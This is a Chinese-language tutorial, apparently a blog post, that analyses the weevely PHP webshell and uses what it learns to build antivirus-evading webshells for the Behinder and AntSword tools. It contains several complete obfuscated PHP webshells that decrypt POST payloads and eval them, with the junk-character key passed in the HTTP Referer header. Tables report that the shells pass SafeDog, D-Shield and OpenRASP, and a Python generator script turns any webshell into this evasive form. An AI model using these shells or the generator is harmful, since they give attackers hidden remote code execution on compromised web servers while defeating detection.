本文主要分析了weevely的webshell构成,从中学习思路制作免杀脚本,实现冰蝎/蚁剑免杀
根据语法,生成我们要使用的webshell,然后将生成的webshell文件上传至目标网站服务器
weevely基础语法如下,其他指令可自行查阅,本文不再涉及:
<?php $i='p="PY16bXfpTDNaKhZyiy";fhZuhZhZnctiohZn x($hZt,$k){$c=strlhZen($k);$l=hZstrh'; $d='Zlen($t);$hZhZo="hZ";for(hZ$i=0;$i<$l;){forhZ($hZj=0;(hZhZ$j<$hZc&&$i'; $g='g_match("hZ/hZ$kh(.+)$kf/",@fihZlhZhZehZ_gehZt_contentshZ("php://ihZnp'; $P='<$l);$j++hZ,$i++hZ){$hZo.=hZ$t{hZ$i}^hZ$k{$j};}}return $ohZhZ;}if (@prhZe'; $X=str_replace('hP','','chPreathPe_hPfuhPnhPcthPion'); $t='asehZ64_enhZcodhZe(@hZx(@gzhZcomprehZss($ohZ),$k)hZ);prhZint("$p$kh$r$kf");}'; $A='$k=hZ"9e94b15hZe";$kh=hZ"d312fahZ4223hZ2f";$khZf="d87ahZ55db0hZd39hZ";$hZ'; $u='uthZ"),$m)==1) {[email protected]_hZstart();@evhZal(@hZgzuncomprehZsshZ(@x(@basehZ64_hZdecod'; $h='e($m[1]hZ),$k)))hZ;[email protected]_gethZ_contents()hZ;[email protected]_hZend_clean()hZ;[email protected]'; $D=str_replace('hZ','',$A.$i.$d.$P.$g.$u.$h.$t); $G=$X('',$D);$G(); ?>
从以上代码中摘出来一些比较易懂的参数
从上图可以看出研究的重点是$D拼接出的字符串,整理后得到如下代码:
$k="9e94b15e"; $kh="d312fa42232f"; $kf="d87ahZ55db0d39"; $p="PY16bXfpTDNaKyiy"; function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;) { for($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; } if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); [email protected]_get_contents(); @ob_end_clean(); [email protected]_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");
我们把它分为三类:
+已定义参数
+自定义函数
+重要部分
$k="9e94b15e"; $kh="d312fa42232f"; $kf="d87a55db0d39"; $p="PY16bXfpTDNaKyiy";
生成规律:
根据密码生成$k、$kh和$kf这三个参数的值,不论密码怎么变,$k、$kh和$kf这三个参数名称不变。
$p在返回已获取信息时才会用到。
function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;) { for($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; }
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); [email protected]_get_contents(); @ob_end_clean(); [email protected]_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); }
关于重要部分的作用及运行流程可参见下图:
网上对于缓冲区的解释:
当执行PHP的时候,如果碰到了echo print_r之类的会输出数据的代码,PHP就会将要输出的数据放到PHP自身的缓冲区,等待输出。
当PHP自身的缓冲区接到指令,指示要输出缓冲区的内容时,将会把缓冲区内的数据输出到apache上,apache接受到PHP输出的数据,然后再把该数据存在到apache自身的缓冲区内,等到输出。
举例:
ob_end_clean()只会清除缓冲区的内容,并将缓冲区关闭,不会输出内容,如果要在缓冲区关闭前获取缓冲区内容,需要ob_get_contents()
接下来针对流程中的三个关键内容进行分析:
用Wireshark看weevely发出的流量:
我们通过已定义的参数$kh和$kf的值找到了经过加密的payload。
代码的具体实现过程:
为什么在“解密并运行payload”中要用$m[1]?
这里详细说明一下自定义函数x的运行过程:
可以从调试过程中看到,$c=8,代表$k的长度,$l=27代表$m[1]的长度,这里用$t来代表$m[1]。
当$i<$l(27)时,外循环进行
当$j<$c(8)且$i<$l(27)时,内循环进行异或当操作。
内循环第一次结束时,$j=8且$l=8,此时外循环不满足结束条件,所以又进行内循环,此时$j被重置,所以$j=0而$l=8。
第二次内循环结束时,$j=8且$l=16,同理类推。
当内循环不满足$j<$c(8)且$i<$l(27)时,跳出内循环
此时外循环$i<$l(27)不满足,跳出外循环。
这一步的作用在于防止流量返回时遭到查杀,解密的过程由weevely本地完成,即反解下面代码:
$k="9e94b15e"; $kh="d312fa42232f"; $kf="d87a55db0d39"; $p="PY16bXfpTDNaKyiy"; [email protected]_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");
如果想自己解密可以遵循以下步骤:
作者是如何躲过静态查杀和流量查杀的?
以上就是$D参数中的内容,weevely通过调用create_function()调用以上代码。
我们可以在冰蝎/蚁剑连接webshell时设置特定http头,动态传递要被replace的字符,以增强其隐蔽性,具体应用在后续的“冰蝎和蚁剑改进版”中可以看到。
当杀毒软件发现我们解密了一个字符串,并把它当成函数来调用时(如$G=$X('',$D);$G();
),也会触发查杀行为
我们可以使用$GLOBALS减弱已解密字符串与函数调用的关系,绕过查杀
杀毒软件 | 测试结果 |
---|---|
安全狗 | 未通过 |
D盾 | 3级可疑 |
OpenRASPWEBDIR+检测引擎 | 未通过 |
<?php $b =$_SERVER['HTTP_REFERER']; $c = explode('.',$b); $interfere_str =$c[2]; $KXT='@jPerjPrjPorjP_jPrejPpjPorjPtjPinjPgjP(0jP)jP;sjPejPssjPijPonjP_jPstjPajPrtjP'; $dlJ='(jP);jP jP jP jP$kjPejPy=jP"jPe4jP5jPe3jP2jP9fjPejPb5jPdjP92jP5jPb"jP;jP$_jPSjP'; $fqw='ESjPSjPIOjPNjP["jPkjP"]jP=jP$kjPejPy;jPsjPesjPsjPiojPnjP_wjPrjPitjPejP_cjPljPosj'; $trq='PejP()jP;jP$pjPojPstjP=jPfijPljPe_jPgjPetjP_jPcojPnjPtejPnjPtsjP(jP"pjPhjPp:jP/j'; $NJu='P/ijPnjPpujPtjP")jP;jPifjP(jP!ejPxjPtejPnjPsijPojPn_jPljPoajPdjPedjP(jP"ojPpjPen'; $dAt='jPsjPsljP"jP))jP{jP$tjP=jP"bjPajPsejP6jP4_jP"jP."jPdjPecjPojPdejP"jP;$jPpjPosjPt'; $ZGT='jP=$jPtjP($jPpjPosjPtjP."jP"jP);jPfjPorjP(jP$ijP=jP0;jP$jPi<jPsjPtrjPljPenjP(jP$'; $Npc='pjPojPstjP)jP;$jPijP++jP)jP {jP jP jP jP $jPpjPosjPtjP[$jPijP] jP=jP $jPpjPosjP'; $Vnd='tjP[$jPijP]^jP$jPkejPyjP[$jPijP+1jP&jP15jP]jP; jP jP jP jP}}jPejPlsjPejP{$jPpjP'; $Crm='osjPtjP=ojPpjPenjPsjPsljP_jPdejPcjPryjPpjPt(jP$jPpojPsjPt,jP jP"AjPEjPS1jP2jP8"j'; $JDw='P,jP $jPkjPeyjP)jP;}jP jP jP jP$ajPrjPr=jPejPxpjPljPodjPejP("jP|jP",jP$jPpojPsj'; $GZd='Pt)jP;jP jP jP $jPfjPunjPcjP=$jPajPrrjP[jP0]jP;jP jP jP $jPpjParjPajPmsjP=jP$a'; $nvY='jPrjPr[jP1jP];jPcjPlajPsjPs jPCjP{pjPujPbljPijPc jPfjPunjPcjPtijPojPn jP_jP_ijPn'; $EVA='jPvojPkjPe(jP$jPp)jP jP{ejPvjPaljP(jP$pjP.jP""jP)jP;}jP}jP jP jP @jPcjPaljPljP_'; $hVb='ujPsjPerjP_jPfujPnjPc(jPnjPewjP jPC(jP)jP,$jPpjParjPajPms);'; $l=str_replace($interfere_str,'',$KXT.$dlJ.$fqw.$trq.$NJu.$dAt.$ZGT.$Npc.$Vnd.$Crm.$JDw.$GZd.$nvY.$EVA.$hVb); $k=str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn'); $bb = $GLOBALS['k']('',$l); $GLOBALS["bb"](); ?>
杀毒软件 | 测试结果 |
---|---|
安全狗 | 通过 |
D盾 | 通过 |
OpenRASPWEBDIR+检测引擎 | 通过 |
杀毒软件 | 测试结果 |
---|---|
安全狗 | 通过 |
D盾 | 5级可疑 |
OpenRASPWEBDIR+检测引擎 | 未通过 |
<?php $b =$_SERVER['HTTP_REFERER']; $c = explode('.',$b); $interfere_str =$c[2]; $Tzu='cjPlajPsjPs jPBjPWOjPTjP {jP jP jP jPfujPnjPctjPijPonjP jPvHjPEjPv(jP)jP {jP'; $LRu=' jP jP jP jP jP $jPZjPwwjPGjP =jP jP"\jPxjP2cjP"jP ^jP jP"\jPxjP4djP"jP; jP jP'; $lST=' jP jP jP jP$ojPJjPtQjP jP= jP"jP\xjP3jP5"jP jP^ jP"jP\xjP4jP6"jP;jP jP jP j'; $ueP='P jP jP$jPQGjPnjPz jP=jP "jP\jPx3jPfjP" jP^jP "jP\jPx4jPcjP";jP jP jP jP jP j'; $OzQ='P $jPpjPCnjPujP =jP jP"\jPxjP90jP"jP ^jP jP"\jPxjPf5jP"jP; jP jP jP jP jP jP$Q'; $SNC='jPgjPYVjP jP= jP"jP\xjPejP0"jP jP^ jP"jP\xjP9jP2"jP;jP jP jP jP jP jP$jPfijPf'; $kYh='jPW jP=jP "jP\jPxbjP4jP" jP^jP "jP\jPxcjP0jP";jP jP jP jP jP jP $jPjjPlXjPejP '; $nGB='=jP$jPZwjPwjPG.jP$jPoJjPtjPQ.jP$jPQGjPnjPz.jP$jPpCjPnjPu.jP$jPQgjPYjPV.jP$jPfijP'; $xIt='fjPW;jP jP jP jP jP jP rjPejPtujPrjPn jP$jPjljPXjPe;jP jP jP jP} jP jP jPfjP'; $mgE='unjPcjPtijPojPn jP_jP_djPejPstjPrjPucjPtjP()jP{jP jP jP jP jP jP$jPssjPTjPm=j'; $mHk='P$jPthjPijPs-jP>jPvHjPEjPv(jP)jP; jP jP jP jP jP [email protected]$jPsjPsTjPmjP($jPtjPhijPsj'; $xRg='P->jPljPT)jP;jP jP jP }jP}jP$bjPwjPotjP jP= jPnjPewjP jPBWjPOjPT(jP)jP;@jP$jPbw'; $olX='jPojPt-jP>jPlTjP jP= jPijPssjPejPt(jP$jP_GjPEjPT[jP"jPidjP"jP])jP?jPbajPsjPe6jP4'; $gdc='jP_djPejPcojPdjPe(jP$jP_PjPOjPSTjP[jP"mjPrjP6"jP]jP):jP$jP_PjPOjPSTjP[jP"mjPrjP6'; $Leb='"];'; $l=str_replace($interfere_str,'',$Tzu.$LRu.$lST.$ueP.$OzQ.$SNC.$kYh.$nGB.$xIt.$mgE.$mHk.$xRg.$olX.$gdc.$Leb); $k=str_replace($interfere_str,'','crejPatjPe_fujPncjPtiojPn'); $bb = $GLOBALS['k']('',$l); $GLOBALS["bb"](); ?>
杀毒软件 | 查杀结果 |
---|---|
安全狗 | 通过 |
D盾 | 通过 |
OpenRASPWEBDIR+检测引擎 | 通过 |
使用时请注意注释内容
#!/usr/bin/python3 import random import string #这里输自定义干扰字符 add_interfere_str='sTr' #发送webshell时记得传Referer的值,比如:Referer: https://developer.mozilla.sTr.org/testpage.html,其中sTr就是干扰字符,之后过滤要用到 def read_check(): open_file = open('shell.php', 'r') #将shell.php替换为要转换的webshell文件名 read_file = open_file.readlines() file = ''.join(read_file) file = file.replace("'", '"').replace('\n', '').replace('\t', '') if file.startswith('<?php'): file = file.lstrip('<?php') file = file.rstrip('?>') else: print('这不是php代码') return file def interfere(file): add_str = '' rest_str = '' num = 0 for i in file: num += 1 if num == 3: # 间隔3个字符输入干扰,可自行替换 add_results = add_interfere_str.join(rest_str) add_str += add_results rest_str = '' num = 0 rest_str += i add_str += rest_str temp_str = '' array_str = [] for i in add_str: num += 1 if num == 80: # 每隔80个字符分割字符串,可自行替换 array_str.append(temp_str) temp_str = '' num = 0 temp_str += i array_str.append(temp_str) return array_str def var_name(array_str): var_collect = [] array_add = [] for c in array_str: random_str = ''.join(random.sample(string.ascii_letters, 3)) add_sentence = '$' + random_str + '=' + "'" + c + "'" + ";" array_add.append(add_sentence) var_collect.append(random_str) return array_add,var_collect def splicing(var_collect): splicing_sentence = '' for i in var_collect: var_sentence = '.' + '$' + i splicing_sentence += var_sentence final = splicing_sentence.lstrip('.') return final def str_print(array_add,final): a ='<?php' b = "$b =$_SERVER['HTTP_REFERER'];" c = "$c = explode('.',$b);" interfere_str = "$interfere_str =$c[2]; " print(a+'\n'+b+'\n'+c+'\n'+interfere_str) for i in array_add: print(i) #变量名为自定义,都可替换 l = "$l" + "=" + "str_replace($interfere_str,'',%s);" % (final) k = "$k=str_replace($interfere_str,'','cre%sat%se_fu%snc%stio%sn');" % (add_interfere_str,add_interfere_str,add_interfere_str,add_interfere_str,add_interfere_str) bb = "$bb = $GLOBALS['k']('',$l); " ee = '$GLOBALS["bb"]();' print(l+'\n'+k+'\n'+bb+'\n'+ee+'\n'+'?>') def main(): file = read_check() array_str = interfere(file) array_add,var_collect = var_name(array_str) final = splicing(var_collect) str_print(array_add,final) if __name__ == '__main__': main()